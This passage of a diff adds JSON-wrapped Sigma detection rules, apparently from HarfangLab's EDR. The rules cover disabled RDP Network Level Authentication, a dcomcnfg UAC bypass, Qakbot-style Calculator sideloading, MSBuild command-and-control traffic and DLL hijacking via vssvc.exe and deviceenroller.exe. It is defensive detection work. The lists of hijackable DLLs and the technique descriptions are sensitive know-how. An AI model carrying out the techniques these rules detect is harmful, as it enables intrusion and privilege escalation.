'?:\\Windows\\System32\\SystemPropertiesComputerName.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_siemens:\n        - ProcessImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'TSplus SAS'\n        - ProcessImage: '?:\\Windows\\Temp\\is-*.tmp\\svcr.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'JWTS SASU'\n        - ProcessGrandparentImage|endswith: '\\syngoInstaller.exe'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Siemens AG'\n        - ProcessAncestors|contains: '?:\\Program Files\\Siemens\\syngo\\bin\\syngo.Common.LCMService.exe'\n\n    exclusion_systemprop:\n        ProcessImage|startswith: '?:\\Windows\\System32\\SystemProperties'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_teleport:\n        ProcessImage|contains: 'teleport-windows-auth-setup'\n        ProcessSignature: 'Gravitational, Inc.'\n\n    exclusion_syngo:\n        ProcessGrandparentImage|contains: '\\syngo_delta_pkg\\Setup\\syngoInstaller.exe'\n\n    exclusion_omadm:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_svcr:\n        ProcessImage|endswith: '\\svcr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature|contains: 'Remote Access World SAS'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_tiworker:\n        ProcessCommandLine: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\tiworker.exe'\n\n    exclusion_wmiprvse:\n        Image: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_programfiles:\n        - ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - ProcessGrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n          ProcessParentImage: '?:\\Windows\\System32\\cmd.exe'\n\n    exclusion_azure:\n        ProcessAncestors|contains: '|?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe|?:\\Windows\\System32\\services.exe|'\n\n    exclusion_immersivecontrolpanel:\n        ProcessImage: '?:\\Windows\\System32\\SystemPropertiesProtection.exe'\n        ProcessParentImage: '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c2271b8c-4c7c-4704-8b7c-2780abf2d9d2",
+  "rule_name": "NLA for Remote Desktop Services Disabled",
+  "rule_description": "Detects when the Network Level Authentication (NLA) for Remote Desktop Services (RDP) is disabled via a registry modification.\nNLA is a feature of Remote Desktop Services that requires the connecting user to authenticate themselves before a session is established.\nAdversaries can use this technique to allow themselves to arbitrarily connect to hosts via RDP.\nIt is recommended to analyze the process responsible for the disabling of NLA to determine its legitimacy and to look for subsequent suspicious RDP sessions on this host.\n",
+  "rule_creation_date": "2025-01-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c23341a2-b8af-4667-99a9-20eafbc185c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093666Z",
+  "creation_date": "2026-03-23T11:45:34.093668Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093673Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_dcomcnfg.yml",
+  "content": "title: UAC Bypass Executed via dcomcnfg\nid: c23341a2-b8af-4667-99a9-20eafbc185c2\ndescription: |\n    Detects the execution of the dcomcnfg.exe UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the unsigned DLL creation and loading to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/10\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: 'Windows\\System32\\dcomcnfg.exe'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\mscoree.dll'\n            - '?:\\Windows\\System32\\ole32.dll'\n\n    filter_microsoft_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c23341a2-b8af-4667-99a9-20eafbc185c2",
+  "rule_name": "UAC Bypass Executed via dcomcnfg",
+  "rule_description": "Detects the execution of the dcomcnfg.exe UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the unsigned DLL creation and loading to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-10",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c233ca54-5e73-43b6-adc2-3649981c36cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610896Z",
+  "creation_date": "2026-03-23T11:45:34.610899Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610906Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/pr0xylife/status/1547703381262680064",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "t1203_calc_spawning_suspicious_processes.yml",
+  "content": "title: Suspicious Process Started by Windows Calculator\nid: c233ca54-5e73-43b6-adc2-3649981c36cd\ndescription: |\n    Detects processes started by the Windows Calculator.\n    The Calculator is not supposed to spawn any process, therefore this behaviour is suspicious.\n    This behaviour was spotted in a Qakbot sample, in a July 2022 campaign, using a DLL sideloading in calc.exe to load a malicious DLL spawning dangerous processes.\n    It is recommended to investigate the parent process for suspicious activities and any suspicious DLL that was loaded by `calc.exe`.\nreferences:\n    - https://twitter.com/pr0xylife/status/1547703381262680064\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2022/07/19\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.Qakbot\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\calc.exe'\n\n    exclusion_win32calc:\n        Image:\n            - '?:\\Windows\\System32\\win32calc.exe'\n            - '?:\\Windows\\SysWOW64\\win32calc.exe'\n\n    exclusion_werfault:\n        Image|endswith: '\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        OriginalFileName: 'WerFault.exe'\n        Signed: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c233ca54-5e73-43b6-adc2-3649981c36cd",
+  "rule_name": "Suspicious Process Started by Windows Calculator",
+  "rule_description": "Detects processes started by the Windows Calculator.\nThe Calculator is not supposed to spawn any process, therefore this behaviour is suspicious.\nThis behaviour was spotted in a Qakbot sample, in a July 2022 campaign, using a DLL sideloading in calc.exe to load a malicious DLL spawning dangerous processes.\nIt is recommended to investigate the parent process for suspicious activities and any suspicious DLL that was loaded by `calc.exe`.\n",
+  "rule_creation_date": "2022-07-19",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c23abf05-c69f-4583-854c-e55eafb78322",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622291Z",
+  "creation_date": "2026-03-23T11:45:34.622293Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622297Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/building-bypass-with-msbuild/",
+    "https://github.com/cobbr/Covenant",
+    "https://attack.mitre.org/techniques/T1127/001/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1127_001_msbuild_suspicious_network_communication.yml",
+  "content": "title: Suspicious MSBuild.exe Network Communication\nid: c23abf05-c69f-4583-854c-e55eafb78322\ndescription: |\n    Detects MSBuild.exe executions initiated by uncommon parent processes that subsequently perform network activity, which may indicate abuse of MSBuild for defense evasion or malicious payload execution.\n    Attackers may leverage MSBuild.exe to execute malicious tasks that perform network communication while masquerading as a legitimate build process.\n    For example, Covenant, a collaborative cross-platform .NET command-and-control (C2) framework designed for red team operations, used this technique to bypass application whitelisting and execute malicious code via MSBuild.exe.\n    It is recommended to investigate the parent process for malicious actions or content as well as subsequent suspicious actions stemming from the MSBuild process itself.\nreferences:\n    - https://blog.talosintelligence.com/building-bypass-with-msbuild/\n    - https://github.com/cobbr/Covenant\n    - https://attack.mitre.org/techniques/T1127/001/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2021/11/10\nmodified: 2026/01/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1127.001\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.LOLBin.Msbuild\n    - classification.Windows.Framework.Covenant\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        - Image|endswith: '\\MSBuild.exe'\n        - ProcessOriginalFileName: 'MSBuild.exe'\n\n    exclusion_devenv:\n        # C:\\Program Files\\Microsoft Visual Studio\\2022\\Enterprise\\Common7\\IDE\\devenv.exe\n        # C:\\Program Files\\Microsoft Visual Studio\\2022\\Professional\\Common7\\IDE\\devenv.exe\n        # C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\devenv.exe\n        - ProcessParentImage:\n            - '?:\\Program Files\\Microsoft Visual Studio\\\\*\\Common7\\IDE\\devenv.exe'\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\Common7\\IDE\\devenv.exe'\n            - '?:\\Program Files\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\MSBuild.exe'\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\MSBuild.exe'\n            - '?:\\Program Files\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe'\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe'\n        - ProcessParentImage|endswith: '\\IDE\\devenv.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_jetbrains:\n        - ProcessCommandLine:\n            - '?:\\Program Files\\JetBrains\\JetBrains Rider*\\tools\\MSBuild\\Current\\Bin\\\\*\\MSBuild.exe'\n            - '?:\\Program Files (x86)\\JetBrains\\JetBrains Rider*\\tools\\MSBuild\\Current\\Bin\\\\*\\MSBuild.exe'\n        - ProcessParentImage:\n            - '?:\\Program Files\\JetBrains\\Rider\\\\*\\Rider.Backend.exe'\n            - '?:\\Program Files (x86)\\JetBrains\\Rider\\\\*\\Rider.Backend.exe'\n\n    exclusion_citrix:\n        ProcessCommandLine:\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\installutil.exe /u /LogFile= ?:\\Program Files (x86)\\Citrix\\System32\\ConfigMgrImpl.dll'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\installutil.exe /u /LogFile= ?:\\Program Files (x86)\\Citrix\\Console MetaFrame Password Manager\\ADToolTraceModule.dll'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\installutil.exe /u /LogFile= ?:\\Program Files (x86)\\Citrix\\Console MetaFrame Password Manager\\PasswordManagerExtension.dll'\n\n    # Request to api.nuget.org\n    exclusion_nuget:\n        ProcessParentCommandLine|contains: '?:\\Program Files\\Microsoft Visual Studio\\\\*\\Community\\Common7\\Tools\\VsDevCmd.bat'\n\n    exclusion_blend:\n        ProcessParentImage|endswith: '\\IDE\\Blend.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_jenkins:\n        ProcessAncestors|contains:\n            - '\\bin\\java.exe|?:\\Program Files\\Jenkins\\jenkins.exe|'\n            - '\\bin\\java.exe|?:\\Program Files (x86)\\Jenkins\\jenkins.exe|'\n\n    exclusion_vscode:\n        - ProcessParentImage|endswith: '\\globalStorage\\microsoft-isvexptools.powerplatform-vscode\\pac\\tools\\pac.exe'\n        - ProcessAncestors|contains:\n            - '\\Microsoft VS Code\\Code.exe|?:\\Windows\\explorer.exe|'\n            - '\\Microsoft VS Code\\Code.exe|?:\\Windows\\System32\\OpenWith.exe|'\n\n    exclusion_cursor:\n        ProcessGrandparentImage: '?:\\Program Files\\cursor\\Cursor.exe'\n\n    exclusion_unity:\n        ProcessParentImage: '?:\\Program Files\\Unity\\Hub\\Editor\\\\*\\Editor\\Unity.exe'\n\n    exclusion_restore:\n        ProcessCommandLine|contains: 'MSBuild.exe /t:restore'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c23abf05-c69f-4583-854c-e55eafb78322",
+  "rule_name": "Suspicious MSBuild.exe Network Communication",
+  "rule_description": "Detects MSBuild.exe executions initiated by uncommon parent processes that subsequently perform network activity, which may indicate abuse of MSBuild for defense evasion or malicious payload execution.\nAttackers may leverage MSBuild.exe to execute malicious tasks that perform network communication while masquerading as a legitimate build process.\nFor example, Covenant, a collaborative cross-platform .NET command-and-control (C2) framework designed for red team operations, used this technique to bypass application whitelisting and execute malicious code via MSBuild.exe.\nIt is recommended to investigate the parent process for malicious actions or content as well as subsequent suspicious actions stemming from the MSBuild process itself.\n",
+  "rule_creation_date": "2021-11-10",
+  "rule_modified_date": "2026-01-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1127.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c2565e8e-4b35-4493-8cab-0b47b8283d74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599148Z",
+  "creation_date": "2026-03-23T11:45:34.599152Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599160Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vssvc.yml",
+  "content": "title: DLL Hijacking via vssvc.exe\nid: c2565e8e-4b35-4493-8cab-0b47b8283d74\ndescription: |\n    Detects potential Windows DLL Hijacking via vssvc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vssvc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AUTHZ.dll'\n            - '\\bcd.dll'\n            - '\\DEVOBJ.dll'\n            - '\\FLTLIB.DLL'\n            - '\\VirtDisk.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c2565e8e-4b35-4493-8cab-0b47b8283d74",
+  "rule_name": "DLL Hijacking via vssvc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vssvc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c25909aa-c7f1-4d63-a951-d7e1057f35c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619093Z",
+  "creation_date": "2026-03-23T11:45:34.619094Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619099Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_deviceenroller.yml",
+  "content": "title: DLL Hijacking via deviceenroller.exe\nid: c25909aa-c7f1-4d63-a951-d7e1057f35c8\ndescription: |\n    Detects potential Windows DLL Hijacking via deviceenroller.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'deviceenroller.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\dmenterprisediagnostics.dll'\n            - '\\iri.dll'\n            - '\\netutils.dll'\n            - '\\omadmapi.dll'\n            - '\\samcli.dll'\n            - '\\sspicli.dll'\n            - '\\umpdc.dll'\n            - '\\USERENV.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c25909aa-c7f1-4d63-a951-d7e1057f35c8",
+  "rule_name": "DLL Hijacking via deviceenroller.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via deviceenroller.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c29f3873-fe52-4a98-9051-07faf06bd8b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089090Z",
+  "creation_date": "2026-03-23T11:45:34.089093Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089097Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://gtfobins.github.io/gtfobins/socat/",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
